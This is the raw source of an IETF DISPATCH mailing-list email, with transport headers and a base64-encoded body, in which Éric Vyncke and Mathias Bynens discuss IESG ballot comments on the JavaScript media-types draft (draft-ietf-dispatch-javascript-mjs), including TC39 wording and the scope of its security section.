b=GkP1c1rze50JAbeviNy746Nu5KGUTuXLY8KbIVklrA1NLs4TryYoyqiWRBl6Njm/ZwC/m4kB01CLDVUWoBbUFi1h/cKDc5Tm1Ea1XmWNc/TmNVZS8w0vSqgdB4i1XUcVzt/tq2VPMf+fXCQ5ChWiudX6aH+Z8TbBRW7pfE12ajcXaQF/r5ImzLPr2X18b1SWthvMO0BnB95a4skOILJaw+bpE3nF0x0Y6+frg5yS0vI48ELs2KZljvbQL0/hrm2jOUXLl5ODOQiR90yHCD3RekycSxi4F7yjyyB0Ls4FdvBt9E4jBIuCqKzT8Dceef7/vPpHY6fxbZYYehV+5PuzYw== ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass smtp.mailfrom=cisco.com; dmarc=pass action=none header.from=cisco.com; dkim=pass header.d=cisco.com; arc=none DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cisco.onmicrosoft.com; s=selector2-cisco-onmicrosoft-com; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck; bh=K1q9mjMLTJbd+104A4FSnR05aEwjsdDxuQS8n2eVKbo=; b=w/U2/RwXNwgwjotmyRTupk/3TzAInwAEI2AIVMXez6zrGx73bM2iASAtm15BXP8zSobANWTiZRz8fgHrY+1nIavMjSht3AKPjwFWh4zbQlJQoDTQKq9km5dZfI9ZlNQ857LwATqOGdVpeaxeeO+jj5PYPeK/kxdIJ9WVnRTjW6E= Received: from PH0PR11MB4966.namprd11.prod.outlook.com (2603:10b6:510:42::21) by PH0PR11MB5158.namprd11.prod.outlook.com (2603:10b6:510:3b::13) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.4844.13; Mon, 3 Jan 2022 13:04:07 +0000 Received: from PH0PR11MB4966.namprd11.prod.outlook.com ([fe80::143c:310d:4a0:ce8c]) by PH0PR11MB4966.namprd11.prod.outlook.com ([fe80::143c:310d:4a0:ce8c%3]) with mapi id 15.20.4844.016; Mon, 3 Jan 2022 13:04:07 +0000 From: "Eric Vyncke (evyncke)" To: Mathias Bynens CC: The IESG , "draft-ietf-dispatch-javascript-mjs@ietf.org" , dispatch chairs , DISPATCH WG , Ben Campbell Thread-Topic: =?utf-8?B?w4lyaWMgVnluY2tlJ3MgTm8gT2JqZWN0aW9uIG9uIGRyYWZ0LWlldGYtZGlz?= =?utf-8?Q?patch-javascript-mjs-12:_(with_COMMENT)?= Thread-Index: AQHYAJvC7Nubwbp2JUGYCepCbnVWZqxRPboAgAAWmAA= Date: Mon, 3 Jan 2022 13:04:07 +0000 Message-ID: References: <164121216097.11389.15651087256093939724@ietfa.amsl.com> In-Reply-To: Accept-Language: fr-BE, en-US Content-Language: en-GB X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/16.56.21121100 authentication-results: dkim=none (message not signed) header.d=none;dmarc=none action=none header.from=cisco.com; x-ms-publictraffictype: Email x-ms-office365-filtering-correlation-id: 32de6271-1f02-4ed0-5e78-08d9ceb986c7 x-ms-traffictypediagnostic: PH0PR11MB5158:EE_ x-microsoft-antispam-prvs: x-ms-oob-tlc-oobclassifiers: OLM:10000; x-ms-exchange-senderadcheck: 1 x-ms-exchange-antispam-relay: 0 x-microsoft-antispam: BCL:0; x-microsoft-antispam-message-info: udNtCc1QqOAhD6GoGn9gsgVNxynKDT85upr11vG2FWuzKky5gbVJYXo2UtWX5DtoZx2Hd2DR2g9ixEset9OLxSTaYrJ1EMuu8uhwE7iQV2D4CbNBHjHoHDR3o7oN14ZPNlhg1MvCwRIXBDFUsdngzPGUZdJbxgEKq/5YrPgGdGhl5ldnOBCiar/lDepn7kDc3ZzkaNKJPkB0tc9fN9G1fnrv0RHLONHaCE8wz1kVl0O+pAfcx6fodk0B/wDgoNHAWn0Pkb1jVZ7BUS36Fl1dh9G8JKCq1pvWqVTAFOe8ZMZwE4wUDhbzfHZUx0g/M6gdNHlYCMBx8x5VDELbKTJ0xrPsWnUwujeT4nfbWrusBqmfQPj9vAzN+f9NR+PUmFNEi1s02ifJ7f/Binh1BKgOty/a0+5/lCG6NleXKVo/2SDBEQRmy5yjqdzvxJL5/U8vYkOjEWRXSnD1QP9OxzGhKcl1R0BlL7x1hszaQE668r7zkdvowqRaX3z/b59I5g84k7nxXkBLvIX+NFcTnDzeP0IWO/3w8s0+aEFXMzGiiWkQk5sKoCxBM0aep7/8sdhcO9YdZzoAIaLaHdic5Plp3RPmE+fJuhLjSXZJJlYurI07PyozmHYz3igBb6MTukBR9cHY6tB6v591xPKNJtwLRrMHl48j/sbGnhjAgHB5xg44HVKPZ0+UXoOLVGihLC1lmPXiX3tdHfQRBGiIdj0scD/uG+hbDVR16432Scezdsz+8tCbO6jXfI9ClmaCy5Xo0dsyO3kID7uFtaLEjxsEiuxImbt7gpOSTKXqvl3j+vtlGEPWfE2BzefJ0Hk0wAiKldpBfGW0alYMauDhCqPfg9ckOr64lLZUTjGgEn6iZso= x-forefront-antispam-report: CIP:255.255.255.255; CTRY:; LANG:en; SCL:1; SRV:; IPV:NLI; SFV:NSPM; H:PH0PR11MB4966.namprd11.prod.outlook.com; PTR:; CAT:NONE; SFS:(366004)(66574015)(66476007)(64756008)(508600001)(91956017)(76116006)(66946007)(966005)(71200400001)(8936002)(66446008)(6486002)(5660300002)(2616005)(66556008)(86362001)(166002)(6916009)(316002)(6506007)(186003)(122000001)(38100700002)(38070700005)(53546011)(224303003)(2906002)(54906003)(4326008)(83380400001)(33656002)(36756003)(6512007)(45980500001); DIR:OUT; SFP:1101; x-ms-exchange-antispam-messagedata-chunkcount: 1 x-ms-exchange-antispam-messagedata-0: =?utf-8?B?UE8zZEFJaUtJTXZOUmZRMkZEVmQwcXVSRER4Y2xIMjN1RHp3MnB4R1VRd2lD?= =?utf-8?B?OFhBbmtTcENLQmVWZE5PT3dDeit2QnJlUWNhZ0VPYW9LYkxrV0lmZ2ErSTZw?= =?utf-8?B?QU4zUXdETTVnc3BpZjNHazdqekZqZnF0R2w2Y2pnYWVUcTFlVWxlVkxtcXor?= =?utf-8?B?WCtENXRWVXJDbXhTaG1PbzNhL3lmcFAwZE1hVzF3MDBud3BqWHB3TDROaXBx?= =?utf-8?B?bGp1Y1lwWG1XSFVGVlpQdkt4aXhvS2poTUhMNC9vdWJvWS9sS3EySUxVMnRC?= =?utf-8?B?Sm9lYVorVTJvbUlaQkZwdFJXOHlkK2o4MjlCMnNRSnlnei9vVkxsaTI3dU9l?= =?utf-8?B?Zk9WSXlwZ3UvMWY0ZFZUTjlMNlIxenkyRjhBck5ISXV5WlBSMkZ2SGdMUjdZ?= =?utf-8?B?WEgyWWlQdGFGR0FiWi8wMkNLcVg5U2FWKy83aENnVklpbmM5b25SWXN6K2lT?= =?utf-8?B?TlZrUi8yb2wrcEswN2toOEJtMitxcFNGWXZLeno3c21WL2ZQOFc5YlZlTVlL?= =?utf-8?B?bnZlWHo3OHZMelRiWEtwQ20wNzk4MjN0Y0thUENPQk8wMVgxU1pVL0lLTDlw?= =?utf-8?B?UUxGaXBPWGI2SkxtRy9PaGZDZ3pTR0ZLTlRoVkRSZER1NXJjRDNWQjVoODNQ?= =?utf-8?B?Rk9Vd2tNQVkvMmVmbVVaKzJsNlpwOEpIS0lPVG1XdVprYjFWaXpCRTFGY0lu?= =?utf-8?B?bG9YRTJkK0FwUmpVRXliNGRWUkVEeXppdGwyOU5CRU5BRTNhV25PMU10TU5N?= =?utf-8?B?d2ZMSmlkKzVNNUhBUDV2dlg5bzRONDlPZnVDeDltRVJLMHIreUpvUGhPaHl1?= =?utf-8?B?bXRsSjB6LzNmN0phK1VXemJraWhCNFNGYVZSQmdZalFzMm5VVWt3TkpYZlN6?= =?utf-8?B?d3BsQlNlYVVhNGY1ZVNtRFhsYVY3Z0JyWnBubTVja01RdFZHV01Icm1NN2E4?= =?utf-8?B?RENPeUJWYjVNZEUyZnFPNWY1OHNSZTd5enlmNGVDUG9EcFRSbzJoMDlrb3Q5?= =?utf-8?B?RHdveHpwd1dSL2pSTTdEWjNucjBpR043TFlPQUlNNktqU3lXdGNkT2FTamY2?= =?utf-8?B?OXl2RkpodjRmaU10RDVJUGN3c3hmaDlORlN6aS9JZDhJL2hzRjlCb3MrQ25Y?= =?utf-8?B?WWpvYVJtQUgyckZLWHNFL3liRElLSzhPNS90NWV4aHZpY1RwR1FTT2dDYzkr?= =?utf-8?B?L2RpWVJkZ1hJeTRvcUhidGlGdS9MTHdYY1ViRWVCajB4L0F2MGNmUW1SQzNx?= =?utf-8?B?M0ZIRXFOVkYrZmZDcXVidi9ZTDN5eVhtM2xCTWY0WlZtWTNobWhlRzF2THhW?= =?utf-8?B?U2ZvSytXajVJVDdwQUJNTURGYWZxWFA3N1JtMnJzZ1VUZTUzV2lFUVd4dE5P?= =?utf-8?B?Y2RiRWNpRU5TZzd1N1E5Zmt1OXYxL29YaWROK2JhUk5YZ0NMMFpRZUwzczZK?= =?utf-8?B?Q3k1dzVqUWRRWGU2Qk5DOW1HWWEvSVNOTDA4NnZGR0Rwc1lDdUFXZUcvRURO?= =?utf-8?B?NFRyT3EzUDdBakduMzdLQ09ROGtGVm92SDU4UHlOR2JCaEpGd1IyRkErd3hj?= =?utf-8?B?YWdvNGRHbkE1TU05QUZDTDlwZHdlbWEvRjRvU3o1RndNOUhESTBPQ3dWOEMz?= =?utf-8?B?TEM1MnFNRmJVazQzd2UydCsrSHZ0aGo4VTh3ckV5UTVqS1M4c05rVjdhdW1R?= =?utf-8?B?NHlQOTRxMHowQ0F5Tjg1VHNOQU9pYmNveW5RM0lVcWJTeUN5Z3F1YTcrM3BV?= =?utf-8?B?NDVrcVFSRkFuTmhrVElSS2IzdEdnMW4vZmNoSzFDZ1NzVlhzT053Y3NFSGJK?= =?utf-8?B?T2pORzJaT0l6RTZBaDJSY1E3Y3ZBOHhhRVlEamxSZHN1YWNpWE12THZKYjNY?= =?utf-8?B?S2pKUm1pbzNFVXROaDErYjFBTGFUK0JNVEtmZkViVWNMdlFkWTFzL3Q3anJ3?= =?utf-8?B?M3dvOXBic1I1OXJNTm9zUHNuUFlBNE5IcWJsZENpRU9ycDVhRks3K2xaWS8x?= =?utf-8?B?ZGFuYkFNb3NKWFRsMjcvM3FobUwvOWd3T1hCZG10d3pyYVhDYUdGdUFWclFk?= =?utf-8?B?c3Z6Q1RuYk40YXNaWHg2ejNoVHEzclc0dmtlZzZoOFU5U3FrbzlYc245Sytp?= =?utf-8?B?M3JhS0VtN2Y4L2VLdnIwVEFUb0tjajkzbnhKMTJXS3FyU1pKSFlYN213NURE?= =?utf-8?B?NUY0Z3RodWMwaWVVMnpQTEt6MzZ1TDRkekJrR0lTY2NLd1lBY2g1NFZ6RUZY?= =?utf-8?Q?qoL82pEltEzgajrTGhc4RYRZ8aZ8xWoA4bOKQfVmmo=3D?= Content-Type: multipart/alternative; boundary="_000_FC6009D40D9F4DF48779E9DF34BD669Bciscocom_" MIME-Version: 1.0 X-MS-Exchange-CrossTenant-AuthAs: Internal X-MS-Exchange-CrossTenant-AuthSource: PH0PR11MB4966.namprd11.prod.outlook.com X-MS-Exchange-CrossTenant-Network-Message-Id: 32de6271-1f02-4ed0-5e78-08d9ceb986c7 X-MS-Exchange-CrossTenant-originalarrivaltime: 03 Jan 2022 13:04:07.3714 (UTC) X-MS-Exchange-CrossTenant-fromentityheader: Hosted X-MS-Exchange-CrossTenant-id: 5ae1af62-9505-4097-a69a-c1553ef7840e X-MS-Exchange-CrossTenant-mailboxtype: HOSTED X-MS-Exchange-CrossTenant-userprincipalname: VGqfAie4XTF8jF5uECWmNhaN6wwBqEiwMJibuQiF/UP34AarKim/iT7+ssplNn1HiGAwn7p7zc+IqsF05ycHXg== X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR11MB5158 X-OriginatorOrg: cisco.com X-Outbound-SMTP-Client: 173.37.102.17, xbe-rcd-002.cisco.com X-Outbound-Node: alln-core-2.cisco.com Archived-At: Subject: Re: [dispatch] =?utf-8?q?=C3=89ric_Vyncke=27s_No_Objection_on_draft-?= =?utf-8?q?ietf-dispatch-javascript-mjs-12=3A_=28with_COMMENT=29?= X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jan 2022 13:04:17 -0000 --_000_FC6009D40D9F4DF48779E9DF34BD669Bciscocom_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 VGhhbmsgeW91LCBNYXRoaWFzLCBmb3IgeW91ciBwcm9tcHQgcmVwbHkuDQoNCkFib3V0IHRoZSBU QzM5IHBvaW50LCBtYXkgSSBzdWdnZXN0IHRoZSB0ZXh0ICJUaGUgRUNNQSBUZWNobmljYWwgQ29t bWl0dGVlIDI5IChUQzI5KSwgdGhlIHN0YW5kYXJkcyBib2R5IGZvciBFQ01Bc2NyaXB0LCBoYXMg ZGV0ZXJtaW5lZC4uLiIgPw0KDQpBbGwgb3RoZXIgcmVtYXJrcyBhY2NlcHRlZC4NCg0KUmVnYXJk cw0KDQotw6lyaWMNCg0KRnJvbTogTWF0aGlhcyBCeW5lbnMgPG10aHNAZ29vZ2xlLmNvbT4NCkRh dGU6IE1vbmRheSwgMyBKYW51YXJ5IDIwMjIgYXQgMTM6NDMNClRvOiBFcmljIFZ5bmNrZSA8ZXZ5 bmNrZUBjaXNjby5jb20+DQpDYzogVGhlIElFU0cgPGllc2dAaWV0Zi5vcmc+LCAiZHJhZnQtaWV0 Zi1kaXNwYXRjaC1qYXZhc2NyaXB0LW1qc0BpZXRmLm9yZyIgPGRyYWZ0LWlldGYtZGlzcGF0Y2gt amF2YXNjcmlwdC1tanNAaWV0Zi5vcmc+LCBkaXNwYXRjaCBjaGFpcnMgPGRpc3BhdGNoLWNoYWly c0BpZXRmLm9yZz4sIERJU1BBVENIIFdHIDxkaXNwYXRjaEBpZXRmLm9yZz4sIEJlbiBDYW1wYmVs bCA8YmVuQG5vc3RydW0uY29tPg0KU3ViamVjdDogUmU6IMOJcmljIFZ5bmNrZSdzIE5vIE9iamVj dGlvbiBvbiBkcmFmdC1pZXRmLWRpc3BhdGNoLWphdmFzY3JpcHQtbWpzLTEyOiAod2l0aCBDT01N RU5UKQ0KDQpUaGFua3MgZm9yIHRha2luZyBhIGxvb2ssIMOJcmljLiBPbiBiZWhhbGYgb2YgdGhl IGF1dGhvcnMsIEnigJlsbCByZXNwb25kIHRvIHlvdXIgY29tbWVudHMgaW5saW5lOg0KDQpPbiBN b24sIEphbiAzLCAyMDIyIGF0IDE6MTYgUE0gw4lyaWMgVnluY2tlIHZpYSBEYXRhdHJhY2tlciA8 bm9yZXBseUBpZXRmLm9yZzxtYWlsdG86bm9yZXBseUBpZXRmLm9yZz4+IHdyb3RlOg0Kw4lyaWMg VnluY2tlIGhhcyBlbnRlcmVkIHRoZSBmb2xsb3dpbmcgYmFsbG90IHBvc2l0aW9uIGZvcg0KZHJh ZnQtaWV0Zi1kaXNwYXRjaC1qYXZhc2NyaXB0LW1qcy0xMjogTm8gT2JqZWN0aW9uDQoNCldoZW4g cmVzcG9uZGluZywgcGxlYXNlIGtlZXAgdGhlIHN1YmplY3QgbGluZSBpbnRhY3QgYW5kIHJlcGx5 IHRvIGFsbA0KZW1haWwgYWRkcmVzc2VzIGluY2x1ZGVkIGluIHRoZSBUbyBhbmQgQ0MgbGluZXMu IChGZWVsIGZyZWUgdG8gY3V0IHRoaXMNCmludHJvZHVjdG9yeSBwYXJhZ3JhcGgsIGhvd2V2ZXIu KQ0KDQoNClBsZWFzZSByZWZlciB0byBodHRwczovL3d3dy5pZXRmLm9yZy9ibG9nL2hhbmRsaW5n LWllc2ctYmFsbG90LXBvc2l0aW9ucy8NCmZvciBtb3JlIGluZm9ybWF0aW9uIGFib3V0IGhvdyB0 byBoYW5kbGUgRElTQ1VTUyBhbmQgQ09NTUVOVCBwb3NpdGlvbnMuDQoNCg0KVGhlIGRvY3VtZW50 LCBhbG9uZyB3aXRoIG90aGVyIGJhbGxvdCBwb3NpdGlvbnMsIGNhbiBiZSBmb3VuZCBoZXJlOg0K aHR0cHM6Ly9kYXRhdHJhY2tlci5pZXRmLm9yZy9kb2MvZHJhZnQtaWV0Zi1kaXNwYXRjaC1qYXZh c2NyaXB0LW1qcy8NCg0KDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCkNPTU1FTlQ6DQotLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t DQoNClRoYW5rIHlvdSBmb3IgdGhlIHdvcmsgcHV0IGludG8gdGhpcyBkb2N1bWVudC4NCg0KUGxl YXNlIGZpbmQgYmVsb3cgc3NvbWUgbm9uLWJsb2NraW5nIENPTU1FTlQgcG9pbnRzIChidXQgcmVw bGllcyB3b3VsZCBiZQ0KYXBwcmVjaWF0ZWQgZXZlbiBpZiBvbmx5IGZvciBteSBvd24gZWR1Y2F0 aW9uKSwgYW5kIHNvbWUgbml0cy4NCg0KU3BlY2lhbCB0aGFua3MgdG8gQmVuIENhbXBiZWxsIGZv ciB0aGUgc2hlcGhlcmQncyB3cml0ZS11cCBpbmNsdWRpbmcgdGhlDQpzZWN0aW9uIGFib3V0IHRo ZSBXRyBjb25zZW5zdXMgZm9yIHRoaXMgdXBkYXRlIGFuZCBvbiBSRkMgNDMyOS4NCg0KSSBob3Bl IHRoYXQgdGhpcyBoZWxwcyB0byBpbXByb3ZlIHRoZSBkb2N1bWVudCwNCg0KUmVnYXJkcywNCg0K LcOpcmljDQoNCj09IENPTU1FTlRTID09DQoNCi0tIFNlY3Rpb24gMyAtLQ0KDQpJcyBUQzM5IHNv IHdlbGwta25vd24gYnkgdGhlIElFVEYgY29tbXVuaXR5IHRoYXQgbm8gZXhwYW5zaW9uL2V4cGxh bmF0aW9uIGlzDQpyZXF1aXJlZD8NCg0KVEMzOSBpcyB0aGUgc3RhbmRhcmRzIGJvZHkgaW4gY2hh cmdlIG9mIEVDTUFTY3JpcHQsIGEuay5hLiB0aGUgSmF2YVNjcmlwdCBsYW5ndWFnZS4gVGhlIG9u bHkgbWVudGlvbiBvZiDigJxUQzM54oCdIGluIHRoZSBkcmFmdCBnaXZlcyB0aGUgZm9sbG93aW5n IGNvbnRleHQ6DQoNCmBgYA0KICAgVGhlIFRDMzkgc3RhbmRhcmRzIGJvZHkgZm9yIEVDTUFTY3Jp cHQgaGFzIGRldGVybWluZWQgdGhhdCBtZWRpYQ0KICAgdHlwZXMgYXJlIG91dHNpZGUgb2YgdGhl aXIgc2NvcGUgb2Ygd29yayBbVEMzOS1NSU1FLUlTU1VFXS4NCmBgYA0KDQpXaGF0IHdvdWxkIHlv dSBjb25zaWRlciB0byBiZSBtaXNzaW5nPyBIYXBweSB0byBleHBhbmQgb24gdGhpcy4NCg0KLS0g U2VjdGlvbiA1IC0tDQpUaGlzIHNlY3VyaXR5IHNlY3Rpb24gaXMgcHJldHR5IGV4dGVuc2l2ZSAo Z29vZCB0aGluZykgYW5kIEkgd29uZGVyIHdoZXRoZXIgaXQNCmlzIHJlbGV2YW50IHRvIHRoaXMg ZG9jdW1lbnQgYXMgaXQgaXMgbm90IHJlbGF0ZWQgdG8gdGhlIG1lZGlhIHR5cGVzIHRoZW1zZWx2 ZXMNCmJ1dCBtb3JlIG9uIHRoZSBzY3JpcHRpbmcgbGFuZ3VhZ2UgaXRzZWxmLg0KDQpUd28gbm90 ZXM6DQoNCjEuIFRoZSBzZWN1cml0eSBzZWN0aW9uIGJ1aWxkcyB1cG9uIHRoZSBvbmUgZnJvbSBS RkM0MzI5IChodHRwczovL2RhdGF0cmFja2VyLmlldGYub3JnL2RvYy9odG1sL3JmYzQzMjkjc2Vj dGlvbi01KSB3aGljaCBvdXIgZHJhZnQgYWltcyB0byBzdXBlcnNlZGUuIFJlbW92aW5nIGl0IHdv dWxkIGJlIGEgcmVncmVzc2lvbi4NCjIuIEkgc2VlIHlvdXIgcG9pbnQg4oCUIHRoZSBzZWN1cml0 eSByaXNrcyBhcmUgKm1vc3RseSogcmVsYXRlZCB0byB0aGUgbGFuZ3VhZ2UuIElNSE8gdGhlIHNl Y3VyaXR5IHNlY3Rpb24gaXMgc3RpbGwgd29ydGggaW5jbHVkaW5nLCBhcyBmb3IgZS5nLiBicm93 c2VyIGltcGxlbWVudGF0aW9ucywgdGhlIE1JTUUgdHlwZSBpcyB3aGF0IGRldGVybWluZXMgd2hl dGhlciBhIGdpdmVuIHJlc291cmNlIGlzIHByb2Nlc3NlZCBhcyBhIHNjcmlwdCBvciBub3QuIFRo dXMsIGZhaWxpbmcgdG8gcmVzcGVjdCB0aGUgbWVkaWEgdHlwZXMgYXMgc3RhdGVkIChlLmcuIGFj Y2VwdGluZyBhZGRpdGlvbmFsLCBub24tc3RhbmRhcmQgbWVkaWEgdHlwZXMgYXMgaWYgdGhleSB3 ZXJlIEphdmFTY3JpcHQpIHdvdWxkIGNvbnN0aXR1dGUgYSBzZWN1cml0eSByaXNrLg0KDQo9PSBO SVRTID09DQoNCi0tIFNlY3Rpb24gNC4yIC0tDQpTdWdnZXN0aW9uLCBhZGQgImVsc2UiIG9uIHN0 ZXBzIDIgYW5kIDMgdG8gYmUgY2xlYXIuDQoNClRoaXMgc2VjdGlvbiB3YXMgaW5oZXJpdGVkIGZy b20gUkZDNDMyOSBhcy1pcywgYW5kIHdl4oCZdmUgYmVlbiBoZXNpdGFudCB0byBtYWtlIGNoYW5n ZXMgdG8gaXQuIEhvd2V2ZXIsIHRoaXMgY2hhbmdlIHNlZW1zIHNtYWxsIGFuZCBoYXJtbGVzcyBl bm91Z2gsIHNvIEnigJl2ZSBwcmVwYXJlZCBhIHBhdGNoIGhlcmU6IGh0dHBzOi8vZ2l0aHViLmNv bS9saW51eHdvbGYvYm1lY2staWRzL3B1bGwvNTkNCg== --_000_FC6009D40D9F4DF48779E9DF34BD669Bciscocom_ Content-Type: text/html; charset="utf-8" Content-ID: <4A582B51466DFD488E196A10894690A2@namprd11.prod.outlook.com> Content-Transfer-Encoding: base64 PGh0bWwgeG1sbnM6bz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4 bWxuczp3PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTp3b3JkIiB4bWxuczptPSJo dHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL29mZmljZS8yMDA0LzEyL29tbWwiIHhtbG5zPSJo dHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVp dj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPg0KPG1l dGEgbmFtZT0iR2VuZXJhdG9yIiBjb250ZW50PSJNaWNyb3NvZnQgV29yZCAxNSAoZmlsdGVyZWQg bWVkaXVtKSI+DQo8c3R5bGU+PCEtLQ0KLyogRm9udCBEZWZpbml0aW9ucyAqLw0KQGZvbnQtZmFj ZQ0KCXtmb250LWZhbWlseToiQ2FtYnJpYSBNYXRoIjsNCglwYW5vc2UtMToyIDQgNSAzIDUgNCA2 IDMgMiA0O30NCkBmb250LWZhY2UNCgl7Zm9udC1mYW1pbHk6Q2FsaWJyaTsNCglwYW5vc2UtMToy IDE1IDUgMiAyIDIgNCAzIDIgNDt9DQovKiBTdHlsZSBEZWZpbml0aW9ucyAqLw0KcC5Nc29Ob3Jt YWwsIGxpLk1zb05vcm1hbCwgZGl2Lk1zb05vcm1hbA0KCXttYXJnaW46MGNtOw0KCWZvbnQtc2l6 ZToxMS4wcHQ7DQoJZm9udC1mYW1pbHk6IkNhbGlicmkiLHNhbnMtc2VyaWY7fQ0KYTpsaW5rLCBz cGFuLk1zb0h5cGVybGluaw0KCXttc28tc3R5bGUtcHJpb3JpdHk6OTk7DQoJY29sb3I6Ymx1ZTsN Cgl0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCnNwYW4uRW1haWxTdHlsZTE4DQoJe21zby1z dHlsZS10eXBlOnBlcnNvbmFsLXJlcGx5Ow0KCWZvbnQtZmFtaWx5OiJDYWxpYnJpIixzYW5zLXNl cmlmOw0KCWNvbG9yOndpbmRvd3RleHQ7fQ0KLk1zb0NocERlZmF1bHQNCgl7bXNvLXN0eWxlLXR5 cGU6ZXhwb3J0LW9ubHk7DQoJZm9udC1zaXplOjEwLjBwdDt9DQpAcGFnZSBXb3JkU2VjdGlvbjEN Cgl7c2l6ZTo2MTIuMHB0IDc5Mi4wcHQ7DQoJbWFyZ2luOjcyLjBwdCA3Mi4wcHQgNzIuMHB0IDcy LjBwdDt9DQpkaXYuV29yZFNlY3Rpb24xDQoJe3BhZ2U6V29yZFNlY3Rpb24xO30NCi0tPjwvc3R5 bGU+DQo8L2hlYWQ+DQo8Ym9keSBsYW5nPSJlbi1CRSIgbGluaz0iYmx1ZSIgdmxpbms9InB1cnBs ZSIgc3R5bGU9IndvcmQtd3JhcDpicmVhay13b3JkIj4NCjxkaXYgY2xhc3M9IldvcmRTZWN0aW9u MSI+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBsYW5nPSJFTi1VUyIgc3R5bGU9Im1zby1m YXJlYXN0LWxhbmd1YWdlOkVOLVVTIj5UaGFuayB5b3UsIE1hdGhpYXMsIGZvciB5b3VyIHByb21w dCByZXBseS48bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3Bh biBsYW5nPSJFTi1VUyIgc3R5bGU9Im1zby1mYXJlYXN0LWxhbmd1YWdlOkVOLVVTIj48bzpwPiZu YnNwOzwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBsYW5nPSJF Ti1VUyIgc3R5bGU9Im1zby1mYXJlYXN0LWxhbmd1YWdlOkVOLVVTIj5BYm91dCB0aGUgVEMzOSBw b2ludCwgbWF5IEkgc3VnZ2VzdCB0aGUgdGV4dCAmcXVvdDtUaGUgRUNNQSBUZWNobmljYWwgQ29t bWl0dGVlIDI5IChUQzI5KSwgdGhlIHN0YW5kYXJkcyBib2R5IGZvciBFQ01Bc2NyaXB0LCBoYXMg ZGV0ZXJtaW5lZC4uLiZxdW90OyA/PG86cD48L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1z b05vcm1hbCI+PHNwYW4gbGFuZz0iRU4tVVMiIHN0eWxlPSJtc28tZmFyZWFzdC1sYW5ndWFnZTpF Ti1VUyI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+ PHNwYW4gbGFuZz0iRU4tVVMiIHN0eWxlPSJtc28tZmFyZWFzdC1sYW5ndWFnZTpFTi1VUyI+QWxs IG90aGVyIHJlbWFya3MgYWNjZXB0ZWQuPG86cD48L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9 Ik1zb05vcm1hbCI+PHNwYW4gbGFuZz0iRU4tVVMiIHN0eWxlPSJtc28tZmFyZWFzdC1sYW5ndWFn ZTpFTi1VUyI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1h bCI+PHNwYW4gbGFuZz0iRU4tVVMiIHN0eWxlPSJtc28tZmFyZWFzdC1sYW5ndWFnZTpFTi1VUyI+ UmVnYXJkczxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFu IGxhbmc9IkVOLVVTIiBzdHlsZT0ibXNvLWZhcmVhc3QtbGFuZ3VhZ2U6RU4tVVMiPjxvOnA+Jm5i c3A7PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIGxhbmc9IkVO LVVTIiBzdHlsZT0ibXNvLWZhcmVhc3QtbGFuZ3VhZ2U6RU4tVVMiPi3DqXJpYzxvOnA+PC9vOnA+ PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxlPSJtc28tZmFyZWFz dC1sYW5ndWFnZTpFTi1VUyI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPGRpdiBzdHls ZT0iYm9yZGVyOm5vbmU7Ym9yZGVyLXRvcDpzb2xpZCAjQjVDNERGIDEuMHB0O3BhZGRpbmc6My4w cHQgMGNtIDBjbSAwY20iPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PGI+PHNwYW4gc3R5bGU9ImZv bnQtc2l6ZToxMi4wcHQ7Y29sb3I6YmxhY2siPkZyb206IDwvc3Bhbj48L2I+PHNwYW4gc3R5bGU9 ImZvbnQtc2l6ZToxMi4wcHQ7Y29sb3I6YmxhY2siPk1hdGhpYXMgQnluZW5zICZsdDttdGhzQGdv b2dsZS5jb20mZ3Q7PGJyPg0KPGI+RGF0ZTogPC9iPk1vbmRheSwgMyBKYW51YXJ5IDIwMjIgYXQg MTM6NDM8YnI+DQo8Yj5UbzogPC9iPkVyaWMgVnluY2tlICZsdDtldnluY2tlQGNpc2NvLmNvbSZn 